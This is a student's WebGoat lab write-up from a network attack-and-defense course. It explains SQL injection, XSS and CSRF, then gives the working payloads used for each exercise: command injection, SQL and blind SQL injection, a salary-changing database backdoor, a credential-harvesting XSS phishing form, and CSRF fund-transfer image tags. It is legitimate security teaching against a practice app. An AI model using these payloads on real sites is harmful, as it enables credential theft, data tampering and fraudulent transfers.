20145224陈颢文 《网络攻防》Web安全基础实践
基础问题回答
SQL注入攻击原理,如何防御:
- 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数据输入区恶意填入脚本,当数据被传回后台,黑客所填入的脚本语句被运行,使得黑客可以随心所欲的对后台熟即可进行操作;
- 程序员在编写代码的时候,一定要记得对用户输入数据的合法性进行判断。将存有敏感信息的数据库放在防火墙内部;
XSS攻击的原理,如何防御:
- XSS的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏;
- 程序员应该防止下发界面显示html标签,把</>等符号转义。
CSRF攻击原理,如何防御:
- 即跨站请求伪造(Cross Site Repuest Forgery),是XSS的一个分支。跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctld=123456"/>
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com
的transferFunds.do
页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。
实验总结与体会
穷则变、变则通、通则久;做攻击就是这样的,方法无非就那么几个,我们要做的是变着法子去运用这些方法来达到攻击目的。
实践过程记录
启动WebGoat
- 在终端使用指令
java -jar webgoat-container-7.0.1-war-exec.jar
,等待其显示信息: Starting ProtocolHandler ["http-bio-8080"]
;
- 打开浏览器,访问
localhost:8080/WebGoat
,登陆即可开始答题。
启动BurpSuite
- 在桌面左边的快捷栏找到,打开他,一直
next
就好; -
Proxy
->Options
,点击Add
,自行配置一个端口号,配好以后记得要勾选刚刚配好的那一条记录:
- 打开浏览器的设置页,
Advanced
->Network
->Settings
:
- 按照下图进行设置:
- 若需要将网页拦截下来的时候先点击
intercept
把他打开:
Injection Flaws
- Command Injection:命令注入,要求能够在目标主机上执行任意系统命令即可;
首先我们需要确定进行注入的位置,网页中并没有文本框,只有一个下拉的选项栏,所以我们只能修改这个下拉栏的值。有两种方式可以修改,可以使用BurpSuite
拦截再修改,也可以直接修改页面源代码;BurpSuite方法再周岐浩的博客里说的比较详细了,这里我就交大家使用修改页面代码的方法:
使用组合键Shift+Ctrl+C
查看页面源代码,鼠标单击下拉选项栏,这时候会自动的帮你定位到相应的代码段,找到其中一个选项,右键鼠标Edit As HTML
,这时候你就可以编辑它啦;
直接在选项后加上"&&ifconfig"
即可,然后回到网页,找到刚刚修改过的选项,提交! - Numeric SQL Injection:数字型SQL注入,要求通过注入SQL字符串的方式查看所有的天气数据;
这个和上一个实验很像,同样是得修改下拉栏,方法就不再赘述,在Value后加上or 1 = 1 --
即可; - Log Spoofing:日志欺骗,要求使用户名为“admin”的用户在日志中显示“成功登录”(实际上并没有成功);
这个实验主要是为了欺骗人眼,由于页面会将输入的用户名返回,所以我们可以在用户名上动手脚,输入用户名%0d%0aLogin Succeeded for username: admin
;
其中%0a%0d
是ASCII码的回车换行的意思,效果如下图:
- String SQL Injection:字符串注入,要求通过SQL注入将所有信用卡信息显示出来;
有文本框的题相对来说都比较轻松,输入' or 1 = 1 --
即可; - LAB SQL Injection【SQL注入实验】:
①String SQL Injection:字符串型注入,要求使用SQL注入绕过认证,实现无密码登陆;
先在密码栏输入' or 1 = 1 --
试试,发现根本输不了这么长,我们看看他的源代码,原来最长只能输入8位,那就改呗,把长度限定改为15,把文本框格式改为text
!
②本节课程只能在WebGoat开发版本上完成。跳过!
③Numeric SQL Injection:数字型注入,要求使用一个普通员工的账户,浏览其BOSS的账户信息;
首先通过Larry的账户登陆(密码为larry),我们先试着把Value的值改为Boss的对应值112,无果。又试着修改为112 or 1= 1,这次成功了输出信息,但是还是Larry的信息,我猜这里应该是将最首位的信息输出。那么这次我们可以对信息进行排序让他排在首位。用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下112 or 1=1 order by salary desc
;
④本节课程只能在WebGoat开发版本上完成。跳过! - Database Backdoors:数据库后门,要求使用SQL注入修改员工工资;
如果熟悉SQL语句的话可以指定,修改信息用update
语句,具体注入语句为:101 or 1=1; update employee set salary=100000
- Blind Numeric SQL Injection:数字型盲注入,要求找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值;
盲注入的话真的很烦心,就是不停利用101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') >(或者<) 100 );
来猜测,利用折半查找的思想,我们最终确定答案为2364
- Blind String SQL Injection:字符串型盲注入,要求找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar;
这和上一题思路一样,构造语句猜呗,只不过是猜ASCII的值罢了,答案是Jill;
每道题我都给大家翻译好啦,大家可以先自己试着去做,其实都不太难~
Cross-Site Scripting (XSS)
- Phishing with XSS:XSS钓鱼,要求创建一个表单,诱骗访问者输入用户名密码,并将表单提交到
http://localhost:8080/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
;
以下是代码示例:
</form><script>function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR><H3>This feature requires account login:</H2>
<br>
<br>
Enter Username:
<br>
<input type="text" name="user">
<br>
Enter Password:
<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
效果如下:
- Stored XSS Attacks:存储型XSS攻击,要求在信件中写入一个网页或弹窗;
那就加个弹窗呗<SCRIPT>alert('Hi,5224!');</SCRIPT>
- Reflected XSS Attacks:反射型XSS攻击,要求得到脚本访问信用卡表单字段;
示例代码如下:
<script type="text/javascript">
if ( navigator.appName.indexOf("Microsoft") !=-1){
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "./", false);
xmlHttp.send();str1=xmlHttp.responseText;
while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>");
document.write(str1);}
</script>");
- Cross Site Repuest Forgery:跨站请求伪造,要求将跳转到指定网页的指令隐藏在图片中,将这图片放在邮件里发布;
伪造一个图片呗:<img src='attack?Screen=310&menu=900&transferFunds=5000'>
- CSRF Prompt By-Pass:绕过CSRF确认,要求制作两张图片,第一个请求用户资金转账,第二个用于自动处理第一个请求所触发的确认,原理同上一个实验;
第一张图片和上一题一样;
第二图为:<img src='attack?Screen=284&menu=900&transferFunds=CONFIRM'>
- CSRF Token By-Pass :绕过CSRF Token,用脚本来获取令牌:
这我也不会啊,再研究研究吧